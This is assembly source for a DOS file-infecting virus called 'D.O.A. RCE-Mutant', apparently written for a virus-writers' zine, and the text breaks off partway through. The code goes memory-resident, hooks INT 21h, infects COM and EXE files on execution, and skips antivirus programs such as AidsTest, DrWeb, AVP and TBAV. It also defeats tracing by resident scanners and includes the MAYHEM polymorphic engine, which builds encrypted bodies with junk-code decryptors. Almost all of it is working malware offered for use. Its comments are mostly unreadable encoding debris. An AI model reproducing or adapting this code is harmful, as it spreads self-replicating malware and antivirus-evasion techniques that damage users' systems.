;Ŀ
;  THE   D.O.A. VIRUS   RCE-Mutant     EXCLUSIVE FOR THE "INFECTED VOICE".
;  Using MAYHEM v1.1.                
 

; CONSTANTS AND MACROS
SMOV MACRO dst,src              ; PUSH src \ POP dst
        IFIDN <SRC>,<&FS>
              PUSHF
        ELSE
              PUSH SRC
        ENDIF
        IFIDN <DST>,<&FS>
              POPF
        ELSE
              POP  DST
        ENDIF
ENDM
SES MACRO dst,src               ; MOV dst,src \ MOV dst+2,ES
        MOV DST,SRC
        MOV DST&[+2],ES
ENDM
SDS MACRO dst,src               ;                         DS
        MOV DST,SRC
        MOV DST&[+2],DS
ENDM
SCS MACRO dst,src               ;                         CS
        MOV DST,SRC
        MOV DST&[+2],CS
ENDM
CLT MACRO                       ; Clear Trace Flag
        PUSH AX
        SMOV AX,FS
        AND  AH,0FEH
        SMOV FS,AX
        POP  AX
ENDM
STT MACRO                       ; Set Trace Flag
        PUSH AX
        SMOV AX,FS
        OR   AH,01
        SMOV FS,AX
        POP  AX
ENDM
MOVA MACRO dst,src
        MOV AX,src
        MOV dst,AX
ENDM
PUSHALL MACRO
        PUSH AX CX DX BX BP SI DI DS ES
ENDM
POPALL MACRO
        POP ES DS DI SI BP BX DX CX AX
ENDM

  @PUSHF    EQU 9Ch      ;   
  @POPF     EQU 9Dh
  @IRET     EQU 0CFH
  @PFX_CS   EQU 2Eh
  @MOV_DL   EQU 0B2H

  PSPMemTop EQU 0002     ; 設 㯭 
; 
; LOCAL CONSTANTS AND MACROS
  VIRPARAS  EQU 200h     ; 8- ࠧ ⮩ ᮬ 
  STACKLEN  EQU 100h     ; ।  ⥪  ஢થ COM  >64

; 
.MODEL TINY
.CODE
 ORG 100H
 START0:
        JMP INIT                           ; JMP  
 START:
        CALL $+3                           ; । ᬥ饭 砫 
        POP  SI
        SUB  SI,3
        MOV  CS:[SI][SISAVE-START],SI

        MOV AX,0F0EBh                      ;      ?
        INT 21H
        AFTERCHECK:               ;   ⮫쪮, ᫨   
                                  ; .  IRET  0F0EBh ३
                                  ;  CUREINRAM

                 ; ᠤ  : ⠯ 1.
                 ; ७ᨬ ⥫  3000h  MemTop - ⠬    
                 ;   뤥塞.

        MOV AX,DS:[PSPMemTop]
        SUB AX,0300H
                                  ; 墠뢠  襭  PSP
                                  ;  ண ⠯ ⠫樨.
        LES  BX,DWORD PTR DS:[000AH]
        SES  CS:[SI][OLD22-START],BX
        MOV  WORD PTR DS:[000AH],MY22-START
        MOV  DS:[000CH],AX

        PUSH DS                   ; ७ᨬ ⥫
        SMOV DS,CS

        MOV  ES,AX
        XOR  DI,DI
        PUSH SI
        MOV  CX,(INIT-START)/2
        CLD
        REP MOVSW

        POP  SI DS
                                        ; ⮢ ⥪  RETF
        PUSH CS
        MOV  AX,OFFSET CUREINRAM-START
        ADD  AX,SI                      ;  CUREINRAM
        PUSH AX

        RETF


   MY22:                     ; ணࠬ 訫.  稫 ࠢ.

        MOV  AH,48H          ; 맠 8 Kb.
        MOV  BX,0201H
        INT  21H
                        ; ஥  த⥫ 襣 bastard'a.
                        ;   "⮣ ॡ" - MS-DOS.  .
                        ;  뤭  ⮬     !
        PUSH AX
        MOV  AH,52H
        INT  21H
        MOV  BX,ES:[BX-2]               ;  MCB
        INC  BX
        POP  AX

        MOV  ES,AX

        DEC  AX
        MOV  DS,AX
        MOV  WORD PTR DS:[0001],BX      ;   -   MCB No.1

        SMOV DS,CS
                                        ;  ﭭ  -  
                                        ; 뤥 .  頬.
        XOR  SI,SI
        XOR  DI,DI
        MOV  CX,(INIT-START)/2+2
        CLD
        REP  MOVSW                      ; ७ᨬ...
                                        ; 墠뢠 INT 21h.  
                                        ; ⠪.  ஢  ᯫᨭ.
        XOR  AX,AX
        MOV  DS,AX
        PUSH DS
        LDS  AX,DWORD PTR DS:[21H*4]
        MOV  ES:[OLDINT21-START],AX
        MOV  ES:[OLDINT21+2-START],DS
        POP  DS
        MOV  WORD PTR DS:[21H*4],OFFSET VIR21-START
        MOV  DS:[21H*4+2],ES

        DB 0EAH                         ;  ਣ ࠡ稪 INT 22h
        OLD22 DW ?,?

CUREINRAM:                        ;   ᤥ. ⠭ ணࠬ
                                  ;  ।  ࠢ.
        SISAVE EQU $+1
        MOV  SI,0000              ;  砫  - . 砫
        SMOV ES,DS

      DIRECTOR:
        JMP SHORT CUREASCOM       ;  䫠  ஢ப  ࠦ
                                  ; 塞 ࠭ JMP' -  ⠭
                                  ; EXE   COM.

CUREASCOM:                        ;  3- 
           CLD
           MOV DI,0100H

           MOV AX,CS:[SI][ORIG_3-START]
           STOSW
           MOV AL,CS:[SI][ORIG_3+2-START]
           STOSB

           XOR  AX,AX              ;
           PUSH AX                 ;    , ࠢ  SP 0FFFEh
                                   ;   ⥪ 㤥 0,   㦭 COM.
           INC  AH
           JMP  AX                 ; ⮢!

           ORIG_3 DB 90H,0CDH,20H  ; ⨪ 饣 砫

CUREASEXE:                         ; ⠭ CS:IP  SS:SP  EXE

        MOV AX,DS
        ADD AX,10H                 ;  0000:0000=(PSP+10):0000

        ADD CS:[SI][OldCS-START],AX     ; ன CS,SS
        ADD CS:[SI][OldSS-START],AX
        CLI
        JMP SHORT $+2              ;    (.. 塞 -
                                   ;   । 16 )
        OLDSP EQU $+1
        MOV SP,0000
        OLDSS EQU $+1
        MOV AX,0000
        MOV SS,AX
        STI
        db 0EAh                    ; 室  EntryPoint EXE-譨
OLDIP   dw 0000
OLDCS   dw 0000

        ;  INT 21h -----------------------------------------------
VIR21:
                        ; ஢ ਥ AVPTSR'. ⠢ 
                        ;  , 祬 - ⮬ 室.
        PUSH AX
        PUSHF
        POP AX
        TEST AH,01
        POP AX
        JZ NO_TRACE
        STC             ; ᫨ ,  ࠧ IRET
        RETF 0002
        NO_TRACE:

        XCHG AX,BX      ;  ⥫ ᬮ  "CMP AX,4B00h"
        ADD  BH,01DH
        CMP  BX,00DEBH  ; ...   㭪樨 (0F0EBh) ஢ન ᥡ
        JNE  NXTFNC

        POP  AX                         ;  ᠤ ⨬  CureInRAM.
        ADD  AX,CUREINRAM-AFTERCHECK
        PUSH AX
        IRET

     NXTFNC:
        CMP BX,4B00H+1D00H
        JE  EXECIT
        SUB BH,1DH
        XCHG AX,BX
        JMP JMPOLDDOS
     EXECIT:                    ; ---------- ࠡ⪠ 㭪樨 Exec (4B00h)
        SUB BH,1DH
        XCHG AX,BX
        PUSHALL
                                        ; ஢ઠ 㯠  䠩
        PUSH DX SI DS ES

        SMOV ES,CS

        MOV SI,DX                       ;  㪢 ᪠
        XOR DH,DH
        MOV DL,DS:[SI]

        AND DL,0DFH                     ; UpperCase
        SUB DL,41H
        MOV CS:[CURRDISK-START],DL

        POP ES DS SI DX
ENDTESTACCESS:

                                        ;  ஭  -   㤥.
        PUSH AX CX ES
        SMOV ES,DS

        MOV  DI,DX                      ; 室  䠩  PATHNAME
        MOV  CL,0FFH
        XOR  AL,AL
        REPNE SCASB
        STD
        MOV AL,'\'
        REPNE SCASB
        CLD
        MOV AX,ES:[DI][0002]
        POP ES CX

        CMP AX,'EW'             ; WEB
        JE  TABOOIS
        CMP AX,'DA'             ; ADinf
        JE  TABOOIS
        CMP AX,'IA'             ; AIdstest 
        JE  TABOOIS
        CMP AX,'OC'             ; COMMAND.COM ਣ  ᠤ  
        JE  TABOOIS             ;              
        CMP AX,'RD'             ; DRweb 㣮㬭, ࠤ騩  Aidstest
        JE  TABOOIS
        CMP AX,'VA'             ; AVP. ᭮  WEBࠧ
        JE  TABOOIS
        CMP AX,'BT'             ; TBAV: -஬থ. ⨪-䠣.
        JE  TABOOIS
        CMP AX,'HC'             ; CHkdsk  ᭥ .  ண.
    TABOOIS:
        POP AX
        JNE ENDTABOO
        JMP EXECEXIT
ENDTABOO:
                                ; 뢠 䠩  ⥭
        MOV  AX,3D00H
        CALL CALLDOS
        JNC  MMM1
        JMP  CLOSEPOPEXIT

MMM1:
        CMP BYTE PTR CS:[CURRDISK-START],2
        JNB PROTABS

        PUSH AX CX DX           ;  ஢塞 १ࢠ⨢  ᪥.
        MOV DX,3F5H
        MOV AL,4
        OUT DX,AL
        MOV CX,400H
        LOOP $
        MOV AL,4
        OUT DX,AL
        MOV CH,4
        LOOP $
        IN  AL,DX
        TEST AL,40H
        POP DX CX AX
        JZ PROTABS              ; ZF=᪥  १ࢠ⨢. 謠 !
        JMP CLOSEPOPEXIT

     PROTABS:

        XCHG AX,BX
        SMOV DS,CS

        PUSH BX ES DI           ;  ०  १ SFT
        MOV  AX,1220H
        PUSH AX
        INT  2FH
        MOV  BL,ES:[DI]
        POP  AX
        SUB  AL,0AH
        INT  2FH
        MOV  WORD PTR ES:[DI][0002],0002

        MOV AX,ES:[DI][0Dh]             ; ࠭   ६ 䠩
        MOV CS:[FTIME-START],AX
        MOV AX,ES:[DI][0Fh]
        MOV CS:[FDATE-START],AX

        POP DI ES BX

  SelfInfTest:                         ; ᠬ஢ઠ  ࠦ

        MOV AX,4202h
        MOV CX,-1
        MOV DX,-3
        CALL CALLDOS

        MOV AH,3Fh                      ; ⠥ 3   
        MOV CX,0003
        PUSH CX
        MOV DX,ORIGINAL-START
        CALL CALLDOS
        POP CX
        JC TEE

        CMP AX,CX
        JNZ TEE

        CMP CS:[ORIGINAL-START],'OD'            ; DOA   䠩
        JE TEE
 EndInfTest:

SetDirector:
        MOV BYTE PTR DS:[DIRECTOR+1-START],00           ; "JMP CUREASCOM"
GetOriginal:
        CALL FSEEK0

        MOV AH,3FH                               ; ⥭  䠩
        MOV CX,18H
        PUSH CX
        MOV DX,ORIGINAL-START
        CALL CALLDOS
        XCHG DX,SI
        POP CX
        JC TEE

        SUB CX,AX
        JZ WHATTYPE
TEE:    JMP EXECEXIT

WHATTYPE:                                       ; EXE   (COM) ?
        CMP [SI],'ZM'
        JE  EXEisIT
        CMP [SI],'MZ'
        JE  EXEISIT

 COMISIT:                                    ; ࠡ⪠ COM

        MOV DX,DS:[ORIGINAL-START]              ; ࠭ 3  
        MOV DS:[ORIG_3-START],DX
        MOV DL,DS:[ORIGINAL-START+2]
        MOV DS:[ORIG_3+2-START],DL

        CALL FSEEK2
LENTEST:
        MOV DS:[JMPERARG-START],AX              ;   ᢮ ࠧ
        CMP AX,ENDALL-START
        JB  TEE3
mmm323: add ax,100h                             ;  ...
        MOV DS:[VARSRC-START],AX      ; EntryPoint  .( MAYHEM)
        ADD AX,ENDALL-START+STACKLEN            ; ... 64K-⥪-
        JC TEE3

        ADD WORD PTR DS:[JmpERarg-Start],Init-Start-3   ; JMP  ⥫

        CALL WRITETAIL
        JC TEE3

        call FSeek0                     ; 襬  砫
        mov ah,40h
        mov cx,3
        push cx
        mov dx,offset JmpER-Start
        CALL CALLDOS
        pop cx
        jc tEE3

        JMP NEWGENERATION
TEE3:   JMP EXECEXIT
;----

 EXEisIT:                            ; ࠡ⪠ EXE譨.

IsWinEXE:               ;   窨   " "?
                        ;   ࠢ,   ᬥ饭 0400h   "NE"
        push si

        mov ax,4200h
        xor cx,cx
        mov dx,0400h
        call CallDOS

        mov ah,3Fh
        mov cx,0002
        mov dx,Offs400-Start
        call CallDOS
        jnc  m232
        pop si
        jmp WinTstExit
m232:   xchg dx,si
        cmp  [si],'EN'
        pop  si
        je  tEE4                ; ExecExit
WinTstExit:

SaveHDR:                        ;  ⠭ ࠭ CS:IP,SS:SP
        mov ax,[si+0Eh]
        mov ds:[OldSS-Start],ax
        mov ax,[si+10h]
        mov ds:[OldSP-Start],ax
        mov ax,[si+14h]
        mov ds:[OldIP-Start],ax
        mov ax,[si+16h]
        mov ds:[OldCS-Start],ax

NewEP:
        call FSeek2             ; : DX:AX= 䠩

        push ax                 ; 砥 ᫮ 512.    䠩
        push dx
        div word ptr ds:[MUL200-Start]
        or dx,dx
        jz NoInc
        inc ax
   NoInc:
        cmp ax,[si+4]           ; ࠢ ᫮   
        pop dx
        pop ax
        ja tEE4                 ;  ᠬ  - 䠩 ᥣ஢,
                                ;  ࠦ 㤥 ᯮ祭 -  ண.

   GoodEXE:                                     ; 室騩 䠩.

        DIV WORD PTR DS:[MUL10-START]           ; ࠣ䮢  䠩
        SUB AX,[SI+08]                          ;  ࠣ䮢 
        MOV DS:[VARSRC-START],DX                ; ࠭  MAYHEM: 砫
        ADD DX,INIT-START                       ; + ᬥ. 砫 ஢騪
        MOV [SI+14H],DX                 ; IP
        ADD DX,ENDALL-INIT+2048d
        mov [si+10h],dx                 ; SP
        mov [si+16h],ax                 ; CS
        add ax,100h                     ; ThunderByte 砥 SS=CS.
        mov [si+0Eh],ax                 ; SS

SetDirectorEXE:
        MOV BYTE PTR DS:[DIRECTOR+1-START],CUREASEXE-DIRECTOR-2  ;  CureAsEXE

        call WriteTail                  ; 㥬  襬 墮
        jnc SETSIZE
tEE4:   jmp ExecExit

SETSIZE:                ; - ६ ⠫  ࠧ
                        ;  ४஢ 
        CALL FSEEK2     ; ᨬ ॠ   
        DIV  WORD PTR DS:[MUL200-START]
        OR   DX,DX
        JZ   NOINCNOW
        INC  AX
    NOINCNOW:
        MOV SI,OFFSET ORIGINAL-START
        MOV DS:[SI+4],AX
        MOV DS:[SI+2],DX
WriteHea:                               ; 襬 
        CALL FSeek0

        MOV AH,40h
        MOV DX,ORIGINAL-START
        MOV CX,0018H
        CALL CALLDOS

  NEWGENERATION:
        INC WORD PTR DS:[GENCNT-START]          ; 稪 

 ExecExit:                           ; ६   - 
        mov ax,5701h
        FDATE EQU $+1
        MOV DX,0000
        FTIME EQU $+1
        MOV CX,0000
        CALL CALLDOS

CLOSEPOPEXIT:
        mov ah,3Eh
        CALL CALLDOS

OnlyPOP:

        POPALL
        JMP JMPOLDDOS

JmpER    db 0E9h
JmpERarg dw 0000

JMPOLDDOS:
         db 0EAh
OldInt21 dw 0000
         dw 0000
MUL200   dw 0200h
MUL10    dw 0010h
GenCnt   dw 0001

 WRITETAIL:                    ; ஢    ⥫  䠩
        CALL CRYPTMASTER        ; 㥬

        MOV  ES:[DI],'OD'               ; ਧ ࠦ
        MOV  BYTE PTR ES:[DI+2],'A'
        ADD  DI,3

        SUB  DI,(OFFSET BODYPREPARE-START)
        PUSH DI

        CALL FSEEK2
                                ; 뢠   䠩
        POP  CX
        MOV  AH,40H
        MOV  DX,BODYPREPARE-START
        CALL CALLDOS

        MOV AH,68H              ; Flush buffers  宦  
        CALL CALLDOS            ; 䠩  FSeek (4202h)

        RETN

  FSeek2:
        mov ax,4202h
        jmp short Zero0110
  FSeek0:
        mov ax,4200h
  Zero0110:
        xor cx,cx
        xor dx,dx
 CALLDOS:
        pushf
        call dword ptr CS:[offset OldInt21-Start]
        retn
;----------------------------------------------------------------------
CRYPTMASTER:

       PUSH BX                                  ; File Handle

       SMOV ES,DS
       XOR  SI,SI
       MOV  DI,OFFSET BODYPREPARE-START
       MOV  CX,(OFFSET INIT-START)/2
       CLD
       REP  MOVSW

       CALL RNDW                      ;   XOR
       MOV  DS:[VARXOR-START],DX      ;  MAYHEM

       PUSH DX
       CALL RNDW
       MOV  AX,DX
       POP  DX

       MOV  DS:[VARDIS-START],AX

       MOV SI,BODYPREPARE-START       ; 㥬  XOR
       MOV CX,(Init-Start)/2
mXOR:  XOR [SI],DX
       ADD DX,AX
       INC SI
       INC SI
       LOOP mXOR

;----------------------------------- ਣ⮢   MAYHEM ---------
RunMayhem:

                                 ; ᥬ  ⥪     MAYHEM
       PUSH DS:[VARSRC-START]
       POP  DS:[VARRETF-START]
       PUSH CS
       MOV  AX,AFTERMAYHEM-START
       PUSH AX
                                 ; ᥬ  ⥪   室  MAYHEM
       MOV  AX,DS
       ADD  AX,(MAYHEM-START)/10h  ; ᥣ ஢  ࠣ
       MOV  DS,AX                  ; ॡ: DS=CS
       PUSH AX                     ; :     CS:0000
       XOR  AX,AX
       PUSH AX

       MOV DI,THEENDATALL-START         ;  祭
       MOV CS:[DSTADDR-START],DI        ;  MAYHEM

       RETF                             ; 맮 MAYHEM
AfterMayhem:
       SMOV DS,CS                       ; 室  MAYHEM

       POP BX                           ; FileHandle- ࠭  砫 .
       RETN
;
; 楤 

RNDW PROC                               ; : DX=RND(0..FFFF)
       IN  AL,40H
       MOV DH,AL
       IN  AL,40H
       MOV DL,AL
       RETN
RNDW ENDP

;============================================================================
;------ ⠭  MAYHEM ------------------------------------------------

        RECSIZE     equ  8      ; TABLE RECORD STRUCTURE
        ADDRESS     equ  0
        PLACE       equ  2
        DISTANCE    equ  3
        REALPLACE   equ  4
        R_GROUP     equ  5
        OPERAND     equ  6

        R_AX    equ  0          ; REGISTER NUMBERS AS IN INSTRUCTIONS
        R_CX    equ  1
        R_DX    equ  2
        R_BX    equ  3
        R_SP    equ  4
        R_BP    equ  5
        R_SI    equ  6
        R_DI    equ  7



 HOLLOW DB 16-((HOLLOW-START) MOD 16) DUP(90h)    ; ࠢ  ࠣ

; --------------------------------- ;   ; ------------------------
                                                  ; CS=DS, ES:DI=Destination
                                                  ; IP=0.
 MAYHEM:
        PUSH DI                                   ;  祭
        MOV BYTE PTR DS:[R_USED-MAYHEM],00010000B ; ᪫砥 SP
       ;-----------------------------------------   室 ॣ  㯯
        MOV SI,R_MASK-MAYHEM                      ;  ᮪  㯯
        MOV DI,R_GRP -MAYHEM                      ; 

    C1: CMP BYTE PTR [SI],00                      ;  ᮪ ?
        JZ  ENDFORM
                                                  ;  ॣ
        MOV  DL,7                                 ; RND(0..7)
        CALL RND

        MOV CL,DL                                 ; ।⠢   
        MOV AL,1
        SHL AL,CL

   TSTUSED:
        TEST BYTE PTR DS:[R_USED-MAYHEM],AL       ;   㣨 ?
        JZ SUITTST
    TSTROL:                                       ;  RND 㦭  
        INC DL                                    ;  . ६ ᫥-
        ROL AL,1                                  ; 騩   ॣ ...
        CMP DL,8
        JB TSTUSED
        XOR DL,DL                                 ; 諨    - ᭠砫
        JMP TSTUSED                               ; ࠧ㬥,  
                                                  ; ᢮ -⠪ 㤥
    SUITTST:
        TEST BYTE PTR [SI],AL                     ;   .   
        JZ   TSTROL                               ; 㦥 ⠪ ?

        MOV DS:[DI],DL                            ; 諨 ॣ  㯯
        OR  DS:[R_USED-MAYHEM],AL                 ; 砥  
        INC DI
        INC SI
        JMP C1                                    ;  ᫥饩 㯯...
    ENDFORM:

       ;------------------------------------   command' - ᢮ ()
        MOV SI,MUTAB-MAYHEM                 ;  ,   MAYHEM
                                            ; ᪠㥬   
   C2:  MOV  DL,[SI][DISTANCE]              ;  "ࠧ  樨"
        CALL RND                            ;  ⮨  RND(0..Dist)
        ADD  DL,[SI][PLACE]                 ; ... ᢮ 
        MOV  [SI][REALPLACE],DL             ;  .  ନ㥬 
        ADD  SI,RECSIZE                     ; ᫥ 
        CMP  WORD PTR [SI],0000             ;  ᥩ ?
        JNZ  C2

       ;--------------------------------  ਣ⮢ 祭. 
                                        ; ᮡ६   ⮣ 筥 mayhem!

        POP DI                          ;   ES:DI = ⮍祭
        MOV AL,-1                       ; 稪 権

NXTNMB: INC AL                              ;  
        CMP AL,(ENDMUTAB-MUTAB)/RECSIZE-1   ;  樨 ࠧ饭 ?
        JA  EXITALLOC
                                        ; 㥬   ।  
        MOV SI,MUTAB-RECSIZE-MAYHEM     ; 樥 REALPLACE=AL
    NXTELEM:
        ADD SI,RECSIZE                  ; ᫥. 
        CMP WORD PTR [SI],0000
        JE  NXTNMB                      ;  ?

        CMP [SI][REALPLACE],AL          ; ᮢ 樨 ?
        JNE NXTELEM
                                        ;   + 
        PUSH AX
        CALL DS:[SI]                    ;  楤   
        CALL TRASHCHAIN                 ; 㥬 楯 
        POP  AX
        JMP NXTELEM
EXITALLOC:
        JMP MAYHEM_OFF
;----------------------------------------------------------------------------
;---------------------------------------  㦥 楤 MAYHEM  -------

    RND PROC                    ; DL= RND (0..DL)   砩 
                                ;  DH  室.
        PUSH AX CX BX

        OR DL,DL                ; RND(0..0)=0
        JZ EXRND

        INC DL                  ;  0FFh   +1
        JNZ OKK
        DEC DL
     OKK:
        MOV AX,0100H            ; ࠧ 筮 १
        DIV DL
        NOT AH

        XCHG AL,DL
        IN   AL,40H
        CMP  AL,AH              ; ᫨ RND , 祬 *࠭,
        JBE  OKK1               ;  १  EO*࠭
        MOV  AL,AH
        OKK1:

        XOR AH,AH               ;  祭 RND-  .१
        DIV DL
        MOV DL,AL
        XOR DH,DH

        EXRND:
        POP BX CX AX
        RETN
    RND ENDP

;---------------------------------------------------------------------------
   TRASH PROC   ;   楯窥 砩 
                ;  R_USED ।  ॣ
                ; ES:DI= 祭

        PUSH AX SI
                                        ; 稬    ⠡ -
                                        ; 砩   T_CHAIN
        MOV  SI,T_CHAIN-MAYHEM
        MOV  DL,(END_T_CHAIN-T_CHAIN)/2-1       ; RND   T_CHAIN
        CALL RND
        SHL  DL,1                       ; *2_
        ADD  SI,DX                      ; [SI]      ⠡
        MOV  SI,[SI]                    ;  

                                  ; ६ 砩   ࠭
                                  ; ⠡.   :
                                  ; -  (CMDNUMB), ࠧ 
                                  ;  ⠡(CMDSIZE)  CMDSTAT - 
        MOV DL,[si][CMDNUMB]
        call RND
        mov al,[si][CMDSIZE]
        mul dl
        mov cl,[si][CMDSTAT]
        add si,ax                       ; SI=   
                                        ; CL=  
        add si,3                        ; SI=SI+3 ( ⠡)

                                ;  ந 砩   ᭮-
                                ;     ⮩ ⠡

        test cl,CMD             ;  稭  ﭭ  ?
        jz   end_cmd
        CLD                     ; 塞  楯   DS:[SI]
        MOVSB
        end_cmd:

        test cl,CMDPLUS         ;   +  ॣ ?
        jz  end_cmdplus

        mov dl,7
        call RND                ; 砥  ॣ  ஢塞  
        test cl,REGCHNG         ; ...
        jz end_suitreg

        push cx
        mov  cl,dl
        mov  al,1
        shl  al,cl

   cont_tst:
        test ds:[offset R_USED-MAYHEM],AL
        jz pop_end_suitreg

        inc dl
        rol al,1
        cmp dl,8
        jb  cont_tst
        xor dl,dl
        jmp cont_tst

     pop_end_suitreg:
        pop cx
        end_suitreg:

        TEST CL,PLUS8           ; 㦭   ॣ   8 ?
        JZ ADD1
      ADD8:
        PUSH AX
        MOV AL,8
        MUL DL
        MOV DL,AL
        POP AX
      ADD1:
        add dl,[si]
        mov es:[di],dl
        inc di
        end_cmdplus:

        test cl,RNDNUMB         ; 㦭   砩 ᫮ ?
        jz end_addrnd
        mov dl,0FFh
        call RND
        mov al,dl
        mov dl,0FFh
        call RND
        mov dh,al
        mov es:[di],dx
        inc di
        inc di
        end_addrnd:
        pop si ax
        retn

       ;-------------------------------------------------------------------
        t_chain       dw offset TAB0-MAYHEM     ;  ⠡ RND 
                      dw offset TAB1-MAYHEM
                      dw offset TAB2-MAYHEM
                      dw offset TAB3-MAYHEM
                      dw offset TAB4-MAYHEM
                      dw offset TAB5-MAYHEM
        end_t_chain   dw 0000

       ;-------------------------------------------------------------------
       ;⠭:
        CMDHDR  equ 3           ;   ⠡
                                ; 饭  ⠡
        CMDNUMB equ 0           ;       ⢮ 
        CMDSIZE equ 1           ;          ⠡
        CMDSTAT equ 2           ;        

                                        ; ଠ  :
        CMD     equ 00000001b           ; CONST_BYTE
        CMDPLUS equ 00000010b           ; CONST_BYTE + REG_NO
        PLUS8   EQU 00000100B           ; CONST_BYTE + REG_NO*8
        RNDNUMB equ 00001000b           ; + RND_WORD
        REGCHNG equ 10000000b           ;  祭 ॣ஢
        PFXSEG  equ 01000000b           ;   䨪 ᥣ

                        ;----------------   ----------------

        tab0    db (endtab0-cmds0)/01-1         ; ⢮ 
                db 01                           ; ࠧ  ⠡
                db CMD                          ;  
        cmds0:                                  ; ᠬ 
                cld
                sti
                nop
        endtab0:
        ;-------------------------------------------------
        tab1    db (endtab1-cmds1)/01-1
                db 01
                db CMDPLUS+REGCHNG+PFXSEG
        cmds1:
                inc ax
                dec ax
        endtab1:
        ;-------------------------------------------------
        tab2    db (ENDTAB2-cmds2)/2-1
                db 02
                db CMD+CMDPLUS+REGCHNG+PFXSEG
        cmds2:
                neg ax
                not ax
                rol ax,1
                ror ax,1
                rcr ax,1
                rcl ax,1
                shl ax,1
                shr ax,1
        endtab2:
        ;-------------------------------------------------

        tab3    db (ENDTAB3-cmds3)/1-1
                db 1
                db CMDPLUS+RNDNUMB+REGCHNG+PFXSEG
        cmds3:
                db 0B8h         ; mov ax
        endtab3:
        ;-------------------------------------------------

        tab4    db (ENDTAB4-cmds4)/2-1
                db 2
                db CMD+CMDPLUS+RNDNUMB+PFXSEG+REGCHNG
        cmds4:
                db 81h,0F0h     ; xor reg,imm
                db 81h,0E8h     ; sub reg,imm
                db 81h,0c0h     ; add reg,imm
                db 81h,0e0h     ; and reg,imm
                db 81h,0c8h     ; or  reg,imm
                db 81h,0d0h     ; adc reg,imm
                db 81h,0d8h     ; sbb reg,imm
        endtab4:
        ;-------------------------------------------------

        TAB5    DB (ENDTAB5-CMDS5)/2-1
                DB 2
                DB CMD+CMDPLUS+PLUS8+RNDNUMB+PFXSEG+REGCHNG
        CMDS5:
                DB 8BH,06H      ; MOV REG,MEM
                DB 03H,06H      ; ADD REG,MEM
        ENDTAB5:
        ;-------------------------------------------------

   ;    PFXTAB  DB 26h,2eh,36h,3eh              ; 䨪 ᥣ⮢

        TRASH ENDP
   ;-----------------------------------------------------------------------
    TRASHCHAIN PROC             ;    楯 砩 
        PUSH CX DX
        MOV  DL,08
        CALL RND
        XOR  DH,DH
        INC  DL
        MOV  CX,DX
mm1:    PUSH CX
        CALL ARTRASH            ;  楤 樨 
        CALL TRASH              ; 㣠 楤 樨 
        POP CX
        LOOP MM1
        POP DX CX
        RETN
    TRASHCHAIN ENDP

;--- 楤 樨 䬥᪮   ⮢묨 ॣࠬ
;    :  MOV ADD ADC SUB SBB XOR TEST
;     :      CONST+
;               (REG*8+RND(0..7))*(RND(0..3)*40h) +
;               [RNDbyte/RNDword/nothing]
;    ᨬ  2 :    06+RND(0..7)*8  :  +WORD
;                                 00..3F  㣨  :  祣
;                                 40..7F          :  +BYTE
;                                 80..BF          :  +WORD
;                                 C0..FF          :  祣
;     ᬮ  ᠬ  HIEW etc.

ARTRASH PROC

        PUSH AX CX DX SI

        MOV CL,DS:[R_USED-MAYHEM]      ;    AX,CX,DX,BX ,-EXIT.
        AND CL,0FH
        CMP CL,0FH
        JE  NO_ADD

        MOV  SI,CMDS-MAYHEM            ;   
        MOV  DL,CMDSEND-CMDS-1         ; 砩   ।
        CALL RND
        XOR  DH,DH
        ADD  SI,DX
        CLD                            ; ᨬ   楯
        LODSB
        STOSB

        CALL GETFREEREG                ; 砥 ᢮ ॣ

        MOV  AL,8
        MUL  DL                        ; REG*8

        MOV  DL,7                      ; + RND(0..7)
        CALL RND
        ADD  AL,DL

        PUSH AX                        ; + RND(0..3)*40H
        MOV  DL,3
        CALL RND
        MOV  AL,40H
        MUL  DL
        POP  DX
        ADD  AL,DL

        STOSB                           ; ன  Done.
                                        ; 㦭  RND    ?
        CMP  AL,06
        JE   ADD_W
        CMP  AL,0EH
        JE ADD_W
        CMP  AL,16H
        JE ADD_W
        CMP AL,1EH
        JE ADD_W
        CMP AL,26H
        JE ADD_W
        CMP AL,2EH
        JE ADD_W
        CMP AL,36H
        JE ADD_W
        CMP AL,3EH
        JE ADD_W
        CMP  AL,40H
        JB NO_ADD

        CMP  AL,80H
        JB   ADD_B
        CMP  AL,0C0H
        JAE  NO_ADD
    ADD_W:                              ;  砩 ᫮
        MOV DL,0FFH
        CALL RND
        MOV AL,DL
        STOSB
    ADD_B:                              ;  砩 
        MOV DL,0FFH
        CALL RND
        MOV AL,DL
        STOSB
    NO_ADD:                             ; 祣  
        POP SI DX CX AX
        RETN
;--------------------------------------
CMDS    DB 8AH,32H,02H,1AH,12H,2AH,84H          ; 
;          MOV XOR ADD SBB ADC SUB TEST
CMDSEND:
ARTRASH ENDP
;-----------------------------------------------------------------------
GETFREEREG PROC                      ; 頥  ᢮ ⭮
                                     ; ॣ :  AL= , DL=
        MOV  DL,7
        CALL RND
        MOV  AL,1                    ;   
        MOV  CL,DL
        SHL  AL,CL
                                     ;                         BhChBlCl
                                     ;                     | | | |
        MOV  DH,DS:[R_USED-MAYHEM]   ;   ॣ஢:  76543210
                                     ;                          | | | |
                                     ;                          DhAhDlAl
        MOV  CH,DH                   ; 㥬  0..3  4..7
        AND  CH,0FH
        MOV  CL,4
        SHL  DH,CL
        ADD  CH,DH

  CONTTST:

        TEST AL,CH                    ; 室 ?
        JZ   GFR_DONE

        INC DL                        ;  - ᤢ  饬 
        ROL AL,1
        CMP DL,8
        JB CONTTST
        XOR DL,DL
        JMP CONTTST
   GFR_DONE:
        RETN
GETFREEREG ENDP
;-----------------------------------------------------------------------
;------------------- 楤 ன  -----------------------

                                ; SI   砫  㪠뢠  砫
                                ;      

    MOV_NUMBER PROC             ; ନ   MOV Reg,Immed
                                ; Reg ᮣ᭮ 㯯, Immed   Operand
        call GETREG             ;  ॣ   㯯
        add  al,0B8h            ; "MOV"
        stosb
        mov  ax,[si][OPERAND]
        stosw
        retn
        MOV_NUMBER ENDP

    MOV_SEG_R1 PROC             ;  MOV SegReg,Reg
                                ;  SegReg ﭥ = ES
        CALL GETREG
        CBW
        XCHG AH,AL
        ADD  AX,0C08EH
        STOSW
        RETN
    MOV_SEG_R1 ENDP

    MOV_KEY PROC                        ; "MOV es:[0200h..02FFh],Reg"
        MOV AX,8926H
        STOSW
        CALL GETREG
        MOV CL,3
        SHL AL,CL
        ADD AL,6
        STOSB                           ; REG*8+6

        MOV DL,0FFH                     ;  
        CALL RND
        ADD DX,0200H
        MOV DS:[TMPVEC-MAYHEM],DX       ; ਤ 㤠   
        MOV ES:[DI],DX
        INC DI
        INC DI
        RETN
    MOV_KEY ENDP

    SUB_KEY PROC                ; SUB ES:[200..2FF],reg
